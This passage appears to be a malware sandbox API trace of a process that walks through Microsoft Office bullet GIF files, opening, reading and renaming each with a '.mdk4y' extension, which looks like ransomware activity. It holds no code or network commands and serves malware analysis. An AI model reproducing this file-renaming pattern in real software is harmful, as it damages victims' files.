lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15133_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.467] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.468] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb0, lpOverlapped=0x0) returned 1 [0183.468] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15133_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15133_.gif.mdk4y")) returned 1 [0183.469] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.469] AreFileApisANSI () returned 1 [0183.469] GetACP () returned 0x4e4 [0183.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15134_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15134_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.469] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.470] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb1, lpOverlapped=0x0) returned 1 [0183.470] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15134_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15134_.gif.mdk4y")) returned 1 [0183.471] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.471] AreFileApisANSI () returned 1 [0183.471] GetACP () returned 0x4e4 [0183.471] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15135_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15135_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.471] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.472] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaf, lpOverlapped=0x0) returned 1 [0183.472] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15135_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15135_.gif.mdk4y")) returned 1 [0183.473] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.473] AreFileApisANSI () returned 1 [0183.473] GetACP () returned 0x4e4 [0183.473] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15136_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15136_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.473] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.474] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xaf, lpOverlapped=0x0) returned 1 [0183.475] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15136_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15136_.gif.mdk4y")) returned 1 [0183.476] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.476] AreFileApisANSI () returned 1 [0183.476] GetACP () returned 0x4e4 [0183.476] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15168_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15168_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.476] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.476] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x14b, lpOverlapped=0x0) returned 1 [0183.477] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15168_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15168_.gif.mdk4y")) returned 1 [0183.478] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.478] AreFileApisANSI () returned 1 [0183.478] GetACP () returned 0x4e4 [0183.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15169_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15169_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.478] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.479] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x154, lpOverlapped=0x0) returned 1 [0183.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15169_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15169_.gif.mdk4y")) returned 1 [0183.481] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.481] AreFileApisANSI () returned 1 [0183.481] GetACP () returned 0x4e4 [0183.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15170_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15170_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.481] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.481] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x101, lpOverlapped=0x0) returned 1 [0183.482] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15170_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15170_.gif.mdk4y")) returned 1 [0183.483] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.483] AreFileApisANSI () returned 1 [0183.483] GetACP () returned 0x4e4 [0183.483] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15171_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15171_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.483] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.483] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x91, lpOverlapped=0x0) returned 1 [0183.484] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15171_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15171_.gif.mdk4y")) returned 1 [0183.485] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.485] AreFileApisANSI () returned 1 [0183.485] GetACP () returned 0x4e4 [0183.485] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15172_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15172_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.485] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.485] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x130, lpOverlapped=0x0) returned 1 [0183.486] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15172_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15172_.gif.mdk4y")) returned 1 [0183.487] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.487] AreFileApisANSI () returned 1 [0183.487] GetACP () returned 0x4e4 [0183.487] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15173_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15173_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.487] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.488] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x8a, lpOverlapped=0x0) returned 1 [0183.489] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15173_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15173_.gif.mdk4y")) returned 1 [0183.489] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.489] AreFileApisANSI () returned 1 [0183.490] GetACP () returned 0x4e4 [0183.490] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15272_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15272_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.490] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.490] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825872000000) returned 1 [0183.490] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x1c8, lpOverlapped=0x0) returned 1 [0183.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825872100000) returned 1 [0183.491] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825872100000) returned 1 [0183.491] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15272_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15272_.gif.mdk4y")) returned 1 [0183.492] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.492] AreFileApisANSI () returned 1 [0183.492] GetACP () returned 0x4e4 [0183.492] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15273_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15273_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.492] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15273_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.493] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825872300000) returned 1 [0183.493] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb9, lpOverlapped=0x0) returned 1 [0183.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825872400000) returned 1 [0183.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825872400000) returned 1 [0183.494] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15273_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15273_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15273_.gif.mdk4y")) returned 1 [0183.495] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.495] AreFileApisANSI () returned 1 [0183.495] GetACP () returned 0x4e4 [0183.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15274_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15274_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.495] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825872500000) returned 1 [0183.495] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xd0, lpOverlapped=0x0) returned 1 [0183.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825872600000) returned 1 [0183.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825872600000) returned 1 [0183.496] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15274_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15274_.gif.mdk4y")) returned 1 [0183.497] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.497] AreFileApisANSI () returned 1 [0183.497] GetACP () returned 0x4e4 [0183.497] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15275_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15275_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.497] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.497] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825872700000) returned 1 [0183.497] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3f, lpOverlapped=0x0) returned 1 [0183.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825872800000) returned 1 [0183.498] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825872800000) returned 1 [0183.499] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15275_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15275_.gif.mdk4y")) returned 1 [0183.500] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.500] AreFileApisANSI () returned 1 [0183.500] GetACP () returned 0x4e4 [0183.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15276_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15276_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.500] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825873000000) returned 1 [0183.500] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x49, lpOverlapped=0x0) returned 1 [0183.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825873100000) returned 1 [0183.501] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825873100000) returned 1 [0183.501] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15276_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15276_.gif.mdk4y")) returned 1 [0183.510] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.510] AreFileApisANSI () returned 1 [0183.510] GetACP () returned 0x4e4 [0183.510] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD15277_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD15277_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.510] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.510] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825874000000) returned 1 [0183.510] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x3c, lpOverlapped=0x0) returned 1 [0183.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825874100000) returned 1 [0183.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825874100000) returned 1 [0183.511] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD15277_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd15277_.gif.mdk4y")) returned 1 [0183.512] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.512] AreFileApisANSI () returned 1 [0183.512] GetACP () returned 0x4e4 